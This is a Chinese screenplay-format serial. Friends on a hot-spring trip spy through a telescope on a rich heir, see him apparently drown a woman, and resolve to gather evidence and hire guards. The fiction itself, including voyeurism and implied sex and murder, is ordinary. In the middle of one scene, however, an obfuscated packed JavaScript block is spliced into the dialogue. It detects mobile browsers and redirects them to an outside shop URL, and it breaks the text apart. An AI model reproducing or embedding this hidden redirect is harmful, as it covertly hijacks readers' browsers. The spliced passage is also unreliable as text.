欧阳兰兰:他家里没下人,我不使唤他使唤谁呀? 洛宁:难怪你跟翡翠那么投缘,果然都是当主子的料!不过你表哥还真有耐心,你说了那么多不好听的话,他却一点儿也不生气,脾气可真好! 欧阳兰兰:人穷志短呗! 6-7 付府(日,内) 人物:欧阳兰兰、付母、付先忧、洛青、洛宁、洛思思 吃饭时,欧阳兰兰对付母说。 欧阳兰兰:大姨,从明天开始,您别再准备我们几个人的饭菜了。 付母:哦,你们今天才来、明天就要回去吗? 欧阳兰兰:不是!我们打算在这里待上一阵子,只不过因为泡温泉的地方有点儿远,来来回回太麻烦,所以我想在那附近找一家酒楼、吃顿便饭就行了。 洛宁:欧阳兰兰,你顿顿都是大鱼大肉,何时吃过便饭呀? 付先忧:妹妹若嫌麻烦,我可以把饭菜给你们送过去。 欧阳兰兰:表哥你还要忙县衙的事,就不劳烦你了。 洛思思:哦,付大哥,原来你在县衙里当差呀?那你为何还……(话没说完,见洛青冲她使了个眼色,又急忙闭上嘴) 付先忧:(红着脸笑了笑)让洛姑娘见笑了!我虽然是县衙的人,却只是一个小小的文员,手里没什么实权,靠一点儿微薄的薪水养家糊口。 洛思思:原来是这样啊! 洛宁:付大哥,我见你屋里堆满了书,你的学识一定很渊博了? 付先忧:(谦虚地摆摆手)呵呵,渊博谈不上,只不过闲来无事时、喜欢读上两本罢了。 付母:他呀,本来薪水就不多,除了补贴家用之外,全都花在买书上了。 欧阳兰兰:宁姐姐,你有所不知,我这个表哥平生视金钱如粪土,唯独把这些书当成了宝贝,饭可以不吃、觉可以不睡,但书一定要读! 洛青:付公子既然对做学问如此痴迷,为何不考取功名? 付先忧:原先有过这方面的打算,只因我这个人不够圆滑,即使考取了功名,也未必能成大事,所以便放弃了。 欧阳兰兰:可不是嘛!他这个人,既不会请客送礼、又不会吃喝应酬,在官场上哪里混得开呀? 洛宁:不试试怎么知道?官场上也不是人人都在请客送礼、吃喝应酬,你看张大哥不就是个例外吗? 欧阳兰兰:张督察若没有皇亲国戚的身份,也照样没得混! 洛思思:张督察还是武状元呢! 欧阳兰兰:甭管你是状元、榜眼还是探花,若没有靠山,想在官场上立足,何其难也! 洛青:兰兰说的也在理,一人得道、鸡犬升天,官场上的风气向来如此。 付先忧:是啊!我在县衙,虽然位卑言轻,却也远离了很多是非,做人做事,不求大富大贵,但求问心无愧。 洛青:话虽这么说,不过像付公子这样一位既有才华又有骨气的人,若不能为朝廷效力,真是太可惜了! 52. 第六篇 去泡温泉吧 梅州,登丘城 6-8 温泉浴场,女宾区(日,内) 人物:欧阳兰兰、洛青、洛宁、洛思思 登丘城的温泉果然名副其实,众人在热气腾腾的水里泡得浑身上下一片舒坦。 欧阳兰兰:(手把手地教洛思思)把这些玫瑰花瓣贴在脸上,让你的脸也跟着美一美。 洛思思:欧阳兰兰,你的岁数虽然不大,对美的心得倒是颇多呀! 欧阳兰兰:我们欧阳世家的女人,从我奶奶到我娘再到我,哪个不爱美呀? 洛宁:同为一母所生,看看你娘、再看看你大姨,还真是令人唏嘘呢! 欧阳兰兰:所以说,对咱们女人来说,甭管你长得多么漂亮,嫁得好才最重要。 洛青:可我觉得你大姨似乎对眼前的境况并没有什么怨言。 欧阳兰兰:命该如此,她就算是不乐意,又能怎样?嫁鸡随鸡、嫁狗随狗,要怪只能怪我姥爷当初看走了眼,把她嫁给了这样的一户人家。 洛青:若论家境,你姥爷与你大姨父可谓是天壤之别,当初为何会结亲? 欧阳兰兰:我姥爷见我大姨父满腹经纶,心想他将来必定有出息,所以才会答应把我大姨嫁给他。谁知道我大姨父书读多了,人也变得迂腐,除了做学问之外,什么都不会。别人活一辈子,攒下了一堆的人脉;他活一辈子,攒下了一堆的书。唉,他是这个样子,他儿子又是这个样子,你说我大姨跟着他们爷俩儿,能扬眉吐气吗? 洛青:既如此,你们为何不接济他们一下? 欧阳兰兰:我大姨是我娘的亲姐姐,我们能不接济他们吗?只不过这一家子穷归穷,骨头倒是硬得很,甭管我娘给他们送来什么东西,他们都会原封不动地给我们退回去,说什么无功不受禄。在我娘的这些兄弟姐妹里面,个个都找我们欧阳世家借过钱、办过事,唯独他们,从不曾张过这个嘴。 洛青:听你这么一说,我倒是挺佩服他们。 欧阳兰兰:佩服归佩服,可那些书也不能当饭吃呀!记得我小时候,我爹经常拿他们爷俩儿当反面教材,对我哥说,一个人光有学问还不够,必须要有头脑,要懂得审时度势、委曲求全,别一条道儿走到黑! 洛青:你爹说得倒也没错。 欧阳兰兰:不仅如此!在我看来,他们这种所谓的骨气,其实挺自私,只顾着给自己要面子,却从来不替我大姨着想。身为女人,谁不想妻随夫荣、母凭子贵呀? 洛宁:(竖起大拇指)啧啧,欧阳兰兰!我今天才发现,你才是我们中间最富有正义感的一个! 6-9 温泉浴场(夜,外) 人物:付先忧、欧阳兰兰、洛青、洛宁、洛思思 一行人离开温泉浴场时,天色已暗,正打算往回走,却见付先忧早已等候在了门口。 欧阳兰兰:付表哥?你怎么来了? 付先忧:我娘担心妹妹们不识路,特意派我过来接你们。 欧阳兰兰:你在这里等多久了? 付先忧:也没多久,我离开县衙之后,便过来了。 洛青:那也该有一个多时辰了。付公子,你吃过饭了没? 付先忧:我娘给我留了饭,我回去再吃。你们呢?如果没吃饭的话,对面那家酒楼里的鱼汤挺不错…… 欧阳兰兰:(不耐烦地打断)我们在浴场里已经吃过了,表哥你就别费心了。 付先忧:哦,这样啊。那行,咱们就回去吧! 欧阳兰兰:我这会儿还不想回去。 付先忧:不想回去?那妹妹想去哪里? 欧阳兰兰:我想去街上逛逛。 洛青:兰兰,人家付公子还没吃饭呢! 欧阳兰兰:我又没说非要他跟着咱们,他可以先回去嘛! 付先忧:没关系!我这会儿也不饿,前面正好有一条很热闹的街道,咱们去那里逛逛吧! 6-10 街道上(夜,外) 人物:付先忧、欧阳兰兰、洛青、洛宁、洛思思、夏微雨、仆人若干、百姓若干 一行人在付先忧的带领下,来到了那条很热闹的街道上,边走边看。 洛青:付公子,那边有个卖烧饼的铺子,要不你先去吃点儿东西,别饿坏了。 付先忧:哦,也行。那你们先逛,我去去就来! 付先忧离开后。 洛青:(对着欧阳兰兰)你呀你,何必非要折腾你表哥呢? 欧阳兰兰:我一想到回去之后,又要面对那栋破破烂烂的旧房子,心里就不是滋味儿。 洛宁:早知道这样,当初还不如住在客栈里了。 欧阳兰兰:不是我要住在他们家,而是我娘非要我住在他们家,说是要照顾一下我大姨的情绪,免得人家说我们有了钱之后、就六亲不认了。 洛青:你大姨可不会这么说。 欧阳兰兰:青姐姐,你昨天才见着我大姨,今天怎么就开始替她说话了? 洛青的脸一红。 洛宁:这还用问吗?我姐跟你大姨一样,都是好面子的人。你大姨心里想什么,不用说我姐也知道。 欧阳兰兰:嘻嘻!青姐姐,既然你跟我大姨这么投缘,不如就留下来当她的儿媳妇吧! 洛青:(狠狠地打了她们两下)去你的!两个死丫头,越说越离谱了!哼! 洛思思:兰兰,你表哥的岁数也不小了,怎么还没成亲呀? 洛宁:对呀!他家的境况虽然不怎么样,可好歹他也是县衙的人,仅凭这一点,他也不该打光棍呀! 欧阳兰兰:唉,别提了!我娘托人给他说过几次媒,女方的条件也都不错,可惜全被他一一回绝了。 洛思思:哦,为何? 欧阳兰兰:他说自己没本事,怕人家姑娘跟着他受苦。 洛宁:唉,你表哥想得可真多呀! 付先忧回来时,嘴角上还沾着芝麻粒儿。 洛青:(指了指他的嘴角)付公子,你的嘴…… 付先忧:(不解地)怎么了? 洛宁:(打趣)姐,不如把你的帕子借给付大哥用用呗! 洛青:(打洛宁)死丫头,别胡说! 众人都笑了,付先忧也用袖子抹抹嘴,不好意思地笑了。 远处传来一阵急促的锣响,街上的行人纷纷避让,众人也被挤到了路边。 洛宁:怎么了?发生什么事了? 付先忧:(伸长脖子一看)噢,是城东夏家的人,从茶场回来了。 洛宁:(心里咯噔一下)城东夏家? 一条长长的队伍,自西向东、浩浩荡荡地过来了。 洛思思:排场可真大!他们是什么来历?皇亲国戚吗? 付先忧:他们家的老太太,是当今圣上的乳母。 欧阳兰兰:我当是什么大人物,弄了半天不过是个乳母而已。 洛思思:可不是嘛!你瞧瞧这架势,不知道的还以为他们打了胜仗呢! 洛宁:我听说这个城东夏家,是登丘城里有名的富户。他们靠什么营生? 付先忧:当今圣上感念乳母的哺育之恩,赐给他们万亩良田,他们在地里种下茶树,经过几代人的耕耘,如今已成为梅州境内最大的茶场。 欧阳兰兰:融雪一枝梅,是不是来自他们的茶场? 付先忧:正是。 欧阳兰兰:我爹最爱喝这个茶了,听说还是宫里的贡品呢! 付先忧:没错。如果妹妹愿意在这里多住一阵子的话,到了明年春上,就可以第一时间尝到他们家的好茶了。 欧阳兰兰:(嘀咕)那还要等上几个月呢! 队伍中间一个骑在马上的年轻公子,引起了欧阳兰兰的注意。 欧阳兰兰:咦!那位公子是谁?嘻嘻,长得可真俊! 付先忧:他叫夏微雨,是夏家老太太的曾孙。 欧阳兰兰:里里外外三层护卫,这么多人围着他一个。不用说,他肯定跟我一样,是被全家捧在手心里的宝贝了。 付先忧:夏家代代都是单传,到了他这一代也不例外。他上面还有三个姐姐,不过都已经嫁人了。 洛宁:(打趣)欧阳兰兰,夏家如今正缺一个曾孙媳妇,你要不要考虑一下? 洛青:(瞪了洛宁一眼)翡翠怎么办? 洛宁:近水楼台先得月嘛!如今我们在梅州,当然是夏家的公子优先了! 欧阳兰兰:嘻嘻,若有缘分,我还真想会会他呢! 6-11 温泉浴场,女宾区(日,内) 人物:洛宁、洛青、洛思思、欧阳兰兰 第二天,一行人又去了另一家温泉浴场。 欧阳兰兰从外面进来,一脸的兴奋。 欧阳兰兰:姐姐们,猜猜我刚才看见谁了? 洛思思:谁呀? 洛宁:是不是昨晚的那个夏公子? 欧阳兰兰:(吃惊)咦,你怎么知道? 洛宁:你在这座城里,除了你大姨和你表哥之外,还认识谁呀?他俩不可能来这里,就算来了,你也不感兴趣呀! 欧阳兰兰:嘻嘻,果然还是宁姐姐最了解我! 洛思思:这么说,那个夏公子也来这里泡温泉了? 欧阳兰兰:对呀!我刚才在走廊上遇见他了,模样比昨晚更俊了! 洛青:(没好气地)欧阳兰兰,他在男宾浴场,我们在女宾浴场,就算是近水楼台,也得不到月亮。 欧阳兰兰:(撇撇嘴)饱饱眼福总行吧! 洛宁:(冲欧阳兰兰使了个眼色)欧阳兰兰,你肚子饿不饿?咱们去买些点心吧! 欧阳兰兰:(会意地点点头)哦,好啊! 6-12 温泉浴场,女宾区与男宾区交界处(日,内) 人物:洛宁、欧阳兰兰 洛宁带着欧阳兰兰来到女宾浴场和男宾浴场的交界处。 欧阳兰兰:宁姐姐,你不是说去买点心吗?怎么来这里了? 洛宁:欧阳兰兰,你不是想一饱眼福吗?我助你一臂之力!瞧瞧这是什么? 她掏出一把望远镜,在欧阳兰兰的眼前晃了晃。 欧阳兰兰:(惊呼)天哪!你居然带着这个?简直太有远见了! 洛宁:那当然了!姑娘我可是有备而来,这东西可是泡温泉的必备利器!怎么样?要不要试试? 欧阳兰兰:宁姐姐,你想的真是太周到了!我怎么就没想到这一点?(从洛宁手中接过望远镜)这东西好用吗?能不能看清楚? 洛宁:连身上的每一根毫毛,都能看得一清二楚! 欧阳兰兰:真的吗?啧啧,果然是个好东西呀!(举起望远镜,朝男宾浴场的方向望去) 洛宁:怎么样?找到夏公子了没? 欧阳兰兰:我正在看呢!唉,人太多了,又都光着身子,想找到他还真不容易呢! 洛宁:人家可是夏家的独苗,怎么可能跟寻常人在一块儿泡澡呢?你往贵宾浴场的方向瞧瞧,肯定能找到他! 欧阳兰兰:嗯,好!(拿着望远镜看了又看,发出一声惊呼)找到了!找到了!他在那里! 洛宁:是吗?让我瞧瞧!(接过望远镜,往欧阳兰兰手指的方向望去,果然看见了夏微雨,他正穿着浴袍,站在浴池边)没错!就是他! 欧阳兰兰:他马上要脱衣裳了,快把望远镜给我!(一把夺过望远镜,继续偷看夏微雨) 洛宁:怎么样?脱光了没? 欧阳兰兰:还没有呢!他正在跟身边的人说话……唉,那个人是谁?怎么那么多废话呀! 洛宁:欧阳兰兰,咱们得快点儿!若回去晚了,我姐可能会起疑心! 欧阳兰兰:我也着急呀!问题是他不肯脱呀!夏公子,你能不能快点儿!(夏微雨宽衣解带,准备下水)天哪!他脱下来了! 洛宁:上衣还是裤子? 欧阳兰兰:只脱了上衣,他应该不会穿着裤子下水吧? 洛宁:穿着裤子怎么洗澡呀?你快瞧瞧,他身上有没有胎记? 欧阳兰兰:胎记?干嘛问这个? 洛宁:(随口瞎编)我听说,像夏公子这种生来富贵之人,通常都是神仙下凡,肩负着特殊的使命,为了彰显与凡夫的不同,转世之前都会在自己的身上留下一个记号…… 欧阳兰兰:我的脚底板上也有一块胎记! 洛宁:是吗?那可真是太巧了!如果夏公子的身上也有一块胎记的话,你俩岂不是天作之合? 欧阳兰兰:对呀!那我可一定要看仔细了!(又皱起眉头)不过话说回来,我若跟夏公子是天生一对的话,翡翠怎么办呀?宁姐姐,你不会怪我吧? 洛宁:没事儿!等他的酒庄盖好了,你多买几瓶酒,照顾一下他的生意,权当是精神赔偿了! 欧阳兰兰:嘻嘻,这样也行?天底下果然没有钱摆不平的事儿!(见夏微雨脱下裤子)天哪!他在脱裤子了! 洛宁:身材怎么样?是不是很棒呀? 欧阳兰兰:略瘦了点儿,不过也挺匀称。 洛宁:胎记呢?有没有? 欧阳兰兰:好像有…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007399|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛宁:好像有?什么意思? 欧阳兰兰:他屁股上有一块黑色的东西。 洛宁:什么模样? 欧阳兰兰:有点儿像玫瑰花瓣。 洛宁:玫瑰花瓣?总不至于他一个大男人,也跟你一样,要用玫瑰花瓣泡澡吧? 欧阳兰兰:很正常呀!世上有很多男人,比女人还爱美呢! 洛宁:你到底看清楚了没?是花瓣还是胎记? 欧阳兰兰:他不停地动来动去,我想看清楚也不容易呀! 洛宁:(一把夺过望远镜)拿过来!让我瞧瞧! 欧阳兰兰:(撅起嘴)宁姐姐,我若是跟夏公子成了,你可不许再偷看他了! 洛宁:你若是跟他成了,我哪里还用得着偷看呀?直接问你不就得了! 欧阳兰兰:你为何对他的胎记这么感兴趣呀? 洛宁:因为我想知道,那到底是胎记还是玫瑰花瓣。 欧阳兰兰:是什么?你看清楚了没? 洛宁:(遗憾地摇摇头)没有,他已经下水了。 欧阳兰兰:(大失所望)这么快呀?唉! 洛宁:我姐还在等着我们呢!要不一会儿他上来之后,咱们再过来瞧瞧! 欧阳兰兰:嗯,也行! 6-13 温泉浴场,女宾区(日,内) 人物:洛青、洛宁、洛思思、欧阳兰兰 听闻洛宁和欧阳兰兰又要出去,洛青有些不满。 洛青:你俩今天怎么回事呀?接二连三地往外跑,什么事这么忙? 洛宁和欧阳兰兰互相对望了一眼。 洛宁:我肚子饿,不吃不行。 欧阳兰兰:我尿急,不去也不行。 洛青:唉,得得得,你俩快去吧! 6-14 温泉浴场,女宾区与男宾区交界处(日,内) 人物:洛宁、欧阳兰兰 洛宁和欧阳兰兰又来到交界处,继续用望远镜偷看夏微雨。 洛宁:怎么样?他上来没? 欧阳兰兰:还没有呢!宁姐姐,我见他一动不动,是不是睡着了? 洛宁:不会是死了吧?(一把夺过望远镜,朝夏微雨那边看去)唔,好像还活着。 欧阳兰兰:(白了她一眼)人家年纪轻轻,怎么可能说死就死了呢! 洛宁:欧阳兰兰,怎么办呀?他要是一直不上来,咱们也一直在这里等着吗? 欧阳兰兰:如果咱们走了,他又上来了,怎么办?今天他在这里,明天谁知道他还来不来呢? 洛宁:唉,我的肚子还真有点儿饿了,要不你先等着,我去弄点儿吃的。 欧阳兰兰:行!那你快去快回哟! 洛宁:知道了! 洛宁离开后,欧阳兰兰又继续偷看。就在这时,夏微雨那边突然来了个人,听见脚步声,他也跟着醒了。 欧阳兰兰:太好了!夏公子醒了!唉,宁姐姐果然跟他没缘分,她前脚刚走、后脚夏公子就醒了。嘻嘻,这下我可以好好地看个够了! 见到那个人,夏微雨先是将他上下打量了一番,跟着点点头,冲他做了个手势,示意他也下水。那个人先是犹豫了一下,然后才慢慢地解开衣裳。当看到一对丰满的□□时,欧阳兰兰发出一声惊呼。 欧阳兰兰:天哪!他……他竟然是个女的!这个夏微雨,居然让女人假扮成男人,混进男宾浴场里。这是要干嘛?难道说……(心扑通扑通直跳,脸颊也变得滚烫)怎么办?我到底看不看?(闭上眼睛,嘴里不住地念叨)非礼勿视!非礼勿视!非礼勿视!……欧阳兰兰,你一个未出嫁的女孩子,怎么可以看这种东西呢?(又忍不住睁开眼)这么好的机会,错过了多可惜呀!反正宁姐姐这会儿不在这里,我就算是看了,也没人会知道。 她瞅了瞅周围,确定四下无人之后,便拿起望远镜,偷偷地瞄了起来。只见那个女人已经被夏微雨抱在了怀里,二人在水中云雨,场面甚是香艳。欧阳兰兰看得满脸通红,眼睛都直了。 过了一会儿,夏微雨长长地舒了口气,从水中站起。 欧阳兰兰:(意犹未尽)唉,这么快就结束了呀! 她突然感到眼睛里像是钻进了一只小虫子,奇痒难忍,不得不放下望远镜,用手去揉,过了一会儿,方才好些。当她拿起望远镜、再次往夏微雨那边偷看时,却发现那女人竟然脸朝下趴在水中,而夏微雨正揪着她的头发。 欧阳兰兰:咦,他在干什么呀?难不成又要玩什么新花样? 她顿时来了兴致,紧盯着水中的二人,只见那女人的手脚扑腾了几下之后,便一动不动了。夏微雨此时方才丢开了她,冲着外面吼了两声,不一会儿,过来两个家丁模样的人,将那女人从水中捞起,匆匆抬走了。 欧阳兰兰:这……这到底是怎么回事? 夏微雨的脸上,露出一抹邪恶的笑容,看得欧阳兰兰心惊胆战。就在这时,她的肩膀忽然被人从后面拍了一下,吓得她尖叫一声。 欧阳兰兰:啊! 洛宁:(也跟着吓了一跳)欧阳兰兰,你怎么了? 欧阳兰兰:(结结巴巴地)原……原来是你呀,吓……吓死我了。 洛宁:唉,你的胆子怎么这么小啊!(在欧阳兰兰身边坐下)那个夏公子呢?他还在水里吗? 欧阳兰兰:他……(怔怔地望着洛宁,不知该如何开口) 洛宁:怎么了?你为何这样瞪着我?不认识我了吗? 欧阳兰兰:宁姐姐,我……我想回家! 洛宁:回家?人家夏公子还没走呢,你着什么急呀?(拿起望远镜,往夏微雨那边看去)咦!人呢?怎么不见了? 欧阳兰兰:(大惊失色)不见了?! 洛宁:对呀!你不是一直在盯着他吗?他什么时候走的? 欧阳兰兰:真……真的不见了? 洛宁:对呀!不信你自己看! 欧阳兰兰接过望远镜,往那边一瞄,果然池子里空无一人。 欧阳兰兰:怎……怎么会这样?他……他刚才还在那里呢! 洛宁:或许也去吃饭了,要不咱们一会儿再过来吧! 欧阳兰兰:宁姐姐,你说他……他会不会来找我了? 洛宁:找你?那不是好事吗?你不是正想会会他吗? 欧阳兰兰:我……我……哇! 欧阳兰兰放声大哭了起来,洛宁怎么都劝不住,只好带着她去找洛青。众人见欧阳兰兰哭个不停,担心她哪里不舒服,便离开了浴场,回付家去了。 53. 第六篇 去泡温泉吧 梅州,登丘城 6-15 付府,客房(日,内) 人物:欧阳兰兰、洛青、洛宁、洛思思 回到付家,欧阳兰兰依旧在哭,嘴里嚷嚷着要回家。 洛思思:她怎么了?谁欺负她了? 洛青:宁儿,是不是你干的? 洛宁:(没好气地)姐,你不能什么事都让我来背锅呀! 洛青:除了你还能有谁?她不就是跟你出去了一趟之后、才变成这样的吗? 洛宁:我…… 洛青:我问你,你俩今天不住地往外跑,到底干了些什么? 洛宁:什么也没干!我去吃饭、她去上茅房,我去上茅房、她去吃饭,就这些了! 洛青:我才不信呢,你肯定欺负她了! 洛宁:浴场里那么多人,我又不是一直跟她在一起,你凭什么断定是我欺负了她?没准儿还有别人呢? 洛青:别人为何要欺负她? 洛宁:我又为何要欺负她呢? 洛思思:你俩别吵了!要不等欧阳兰兰安静下来之后,咱们再问问她吧! 洛青:(指着洛宁)有她在这里,兰兰敢说吗? 洛宁:得得得!我出去!这样总行了吧?唉!(转身要走,却被欧阳兰兰叫住) 欧阳兰兰:宁姐姐!你别走!我害怕! 她一把抱住洛宁,不许她离开,这让洛青很是惊讶。 洛宁:瞧见没?根本就不关我的事! 洛思思:那是怎么回事呀?(上前问欧阳兰兰)兰兰,你别哭了!你跟我们讲讲,到底是谁欺负你了? 洛青:是啊,兰兰!甭管是谁欺负了你,你告诉我们,我们去找她…… 洛宁:姐!这里又不是凤凰城,你们去找她?说得倒轻巧,你知道她是谁吗?(对着欧阳兰兰)兰兰,别哭了!你跟我们讲讲,到底发生了什么事? 欧阳兰兰:我……我…… 见众人都盯着自己,欧阳兰兰不知该从何说起,她将头埋进洛宁的怀里,哭得更伤心了。 洛青:唉,这孩子怎么只知道哭呀! 洛思思:欧阳兰兰,你以前在凤凰城不是挺厉害吗?怎么来到了登丘城,就变成一只小白兔了? 洛青:要不……咱们回去吧? 欧阳兰兰:好啊好啊!我们现在就走! 洛宁:兰兰,你这个样子回去的话,只怕你娘会误会。 洛青:误会? 洛宁:(对着洛青)你想想,她好不容易来这里一趟,原本高高兴兴地来了,却哭着回去了,她娘会怎样想?我倒是无所谓,大不了被她痛骂一顿,但她大姨和她表哥怎么办?有了这次的事情,她娘还会不会再让她来这里呢? 洛青:也是啊!兰兰,不管发生了什么事情,你总要跟我们讲个明白吧! 欧阳兰兰:我……我……(望了望洛青、又望了望洛宁,嗫嚅了半天)宁姐姐,我……我只想跟你讲。 洛宁:什么意思?她俩在这里不行吗? 欧阳兰兰点点头。 洛青:兰兰你…… 洛宁:姐!要不你俩先去陪伯母说会儿话,她也很担心兰兰呢! 洛青:那……行吧! 6-16 付府,客房(日,内) 人物:洛宁、欧阳兰兰 洛青和洛思思离开后。 洛宁:兰兰,她俩已经出去了,你现在可以告诉我到底发生什么事了吧。 欧阳兰兰:宁姐姐,我若跟你说了,你能不能别骂我? 洛宁:我为何要骂你呀? 欧阳兰兰:因为我看了不该看的东西。 洛宁:什么呀? 欧阳兰兰:你先答应不骂我,我才能告诉你。 洛宁:行!我答应你,你快说吧! 欧阳兰兰讲述夏微雨和那个女人之事。 洛宁:(发出一声惊呼)天哪! 欧阳兰兰:(羞得满脸通红)我知道不该看那种东西,可我就是忍不住。 洛宁:我说的不是这个,你确定那女人已经死了? 欧阳兰兰:(摇摇头)我不知道,反正她是被人抬着出去的。 洛宁:或许只是昏过去了呢? 欧阳兰兰:我也不清楚。 洛宁:才跟那女人干了那种事情,接着就把她给杀了,说不过去呀!他为何要这么做? 欧阳兰兰:我也不知道。那会儿我碰巧眼睛疼,就放下望远镜揉了揉,然后就看到了那一幕。好可怕! 洛宁:兰兰,你先别想这个了!你告诉我,夏微雨的屁股上到底有没有胎记? 欧阳兰兰:(想了想点点头)有。 洛宁:什么样子的胎记? 欧阳兰兰:像朵梅花。 洛宁:果然是他! 欧阳兰兰:宁姐姐,你在说什么呀? 洛宁:兰兰,你还记得朵馨吗? 欧阳兰兰:朵馨? 洛宁:就是春晖城里那家只在夜间做生意的绣品店老板。 欧阳兰兰:(方才记了起来)她?她怎么了? 洛宁:她身上的伤,就是夏微雨留下的。 欧阳兰兰:天哪!你的意思是…… 洛宁:其实这次我来登丘城,也是受她所托。 欧阳兰兰:受她所托?这么说,你是来查案子的? 洛宁:也不能这么说,这里又不是咱们督察府的辖区。 欧阳兰兰:那你到底想干什么? 洛宁:我就是想知道那家伙到底干了哪些坏事、是一个怎样的衣冠禽兽。 欧阳兰兰:宁姐姐,你说他会不会知道我们用望远镜偷看他的事?我好担心,如果他知道了的话,会不会找上我们?会不会也像杀那个女人一样,杀了我们? 她说到这里,竟浑身哆嗦了起来。 洛宁:(急忙安慰她)放心吧!他又没有千里眼,怎么可能知道这件事?只要你不说出来,谁也不会知道! 欧阳兰兰:宁姐姐,咱们还是回去吧!我真的很害怕! 洛宁:咱们已经知道他是个混蛋了,如果放任不管的话…… 欧阳兰兰:要不咱们去报案? 洛宁:那女人如今不知是死是活,你去报案,打算怎么跟官府说这件事? 欧阳兰兰:那怎么办呀?我一刻也不想待在这里了! 洛宁:咱们得搜集他的犯罪证据…… 欧阳兰兰:咱们? 洛宁:对呀!眼下知道这件事的人,只有你和我,你不帮我谁帮我? 欧阳兰兰:我又不是你们督察府的人! 洛宁:可你是欧阳兰兰!你在凤凰城里那么嚣张,来到这里也不能示弱! 欧阳兰兰:(白了她一眼)宁姐姐,你到底是在夸我还是在骂我呀? 洛宁:欧阳兰兰,你不是很想写书吗?这可是绝佳的素材!如果人们知道它是真人真事的话,肯定都爱看! 欧阳兰兰:问题是我自己也成了书中的一个角色,没准儿还是受害者呢! 洛宁:这样就更有说服力了,不是吗? 欧阳兰兰:我可不想死在这里,咱们还是趁早回去吧! 洛宁:欧阳兰兰,你那天不还说你大姨父和你表哥太自私了吗?咱们若是走了,不也是同样自私吗? 欧阳兰兰:那我也不能为了两个与我毫不相干的人,连自己的命都不要了。 洛宁:那我倒要问问你,融雪茶那么好喝,如果将来有一天,你爹动了与夏家联姻的念头,你打算怎么办呀?你们欧阳世家应该只有你一个千金大小姐吧? 欧阳兰兰:(一听便急了)我宁可去死,也绝不会嫁给夏微雨! 洛宁:是啊!你连死都不怕,还怕了一个小小的夏微雨不成? 欧阳兰兰:这是一回事儿吗? 洛宁:他干坏事的时候,偏偏被你看见了,这不就是你俩之间的缘分吗? 欧阳兰兰:我宁可自己是个瞎子! 洛宁:话别说早了,没准儿你就是他命中注定的克星呢! 6-17 付府,前院(日,外) 人物:洛宁、洛青、洛思思 见洛宁从屋里出来,洛青和洛思思急忙上前询问。 洛青:怎么样?她跟你讲了吗? 洛宁:一点点小摩擦而已,没事儿! 洛思思:可她刚才哭得那么凶,好像很害怕的样子。 洛宁:估计是在水里待久了,有点儿晕。要不这两天我陪她去街上逛逛,你们去泡温泉吧! 洛青:嗯,也行。那你可要照顾好她,别让她再被人欺负了。 洛宁:嗯,知道。 6-18 街道上(日,外) 人物:田佳 到了登丘城,田佳才发现,这里大大小小的温泉浴场,竟有上百家之多! 田佳:这么多温泉浴场,宁儿会在哪里?唉,没办法!只好挨家挨户去找了! 6-19 付府,客房(日,内) 人物:洛宁、欧阳兰兰 见欧阳兰兰情绪稳定了,洛青便留洛宁在家里陪着她,自己则带着洛思思去浴场了。 洛宁:欧阳兰兰,你说那些人把那个女人抬走之后,会送去哪儿呢? 欧阳兰兰:如果是活的,当然是送医;如果是死的,当然是送葬了。 洛宁:要不咱们去医馆里打听打听,看看有没有溺水的病人。 欧阳兰兰:宁姐姐,你真打算管这个闲事呀? 洛宁:你知道朵馨身上的伤有多严重吗?她全身上下除了那双手之外,没一处好的地方,差点儿就死了! 欧阳兰兰:如果我们非要跟夏微雨硬碰硬的话,没准儿下一个被他伤害的人就是你和我了。 洛宁:也是啊!毕竟在人家的地盘上,当出头鸟的话,肯定没有好下场。 欧阳兰兰:对呀!咱们还是别管了吧!与其坐在这里胡思乱想,还不如去泡温泉呢! 洛宁:欧阳兰兰,我发现你的心可真大!你就不怕温泉池里突然冒出来一具尸体呀? 欧阳兰兰:我已经想好了,从现在开始,我跟你形影不离。 洛宁:(白了她一眼)我又不是你的保镖! 欧阳兰兰:咦,对呀!宁姐姐,不如咱们去雇个保镖吧? 洛宁:雇保镖? 欧阳兰兰:对呀!当初是你说不想兴师动众,所以我来这里的时候,一个保镖都没带,如今看来,真是失策呀! 洛宁:我哪知道你们家还有个穷亲戚呀?我原以为你大姨也跟你娘一样,都是衣来伸手饭来张口呢! 欧阳兰兰:唉,得得得,不说这个了,咱们快去人力市场上瞧瞧吧! 6-20 人力市场(日,内) 人物:欧阳兰兰、洛宁、公孙夕、保镖若干 人力市场上,有很多来自各地的武师,一个个功夫都十分了得。 欧阳兰兰:啧啧,这些人看上去都是一副身怀绝技的样子。瞧瞧那个大块头,那么高又那么壮,浑身上下全是肌肉,夏微雨在他面前,就跟一只小耗子差不多。还有那个,身段灵活似游蛇,一把飞花剑舞得出神入化,这若是遇上了夏微雨,还不把他搅成一坨肉泥…… 洛宁:(白了她一眼)欧阳兰兰,你是雇保镖,不是雇杀手。 欧阳兰兰:他若想杀我们的话,我们也可以先发制人嘛! 洛宁:他为何要杀我们?就因为你偷看了他洗澡吗?欧阳兰兰,夏微雨现在连你是谁都不知道,你能不能别这么紧张啊? 欧阳兰兰:宁姐姐,难道你一点儿也不害怕吗? 洛宁:那家伙的模样看上去可一点儿也不像个坏人。 欧阳兰兰:可不是嘛!我第一眼见到他的时候,还对他想入非非呢!不过现在,我希望他离我越远越好! 洛宁:欧阳兰兰,你想好了没?打算雇几个保镖?男的还是女的? 欧阳兰兰:我打算把他们全雇了。 洛宁:我知道你有钱,但也不能这样折腾呀!你打算把他们安置在哪里?全住在你大姨家吗?也不怕吓着了她老人家? 欧阳兰兰:夏微雨的身边有那么多护卫,我若不多雇几个,被他打败了怎么办? 洛宁:你打算怎么跟我姐解释? 欧阳兰兰:之前你不是告诉过她我在浴场里被人欺负了吗?如今我雇几个人来保护我,她应该不会感到意外。 洛宁:那行吧,你去跟他们谈价钱吧。 欧阳兰兰:宁姐姐,你呢? 洛宁:我?你雇了这么多人还嫌不够呀? 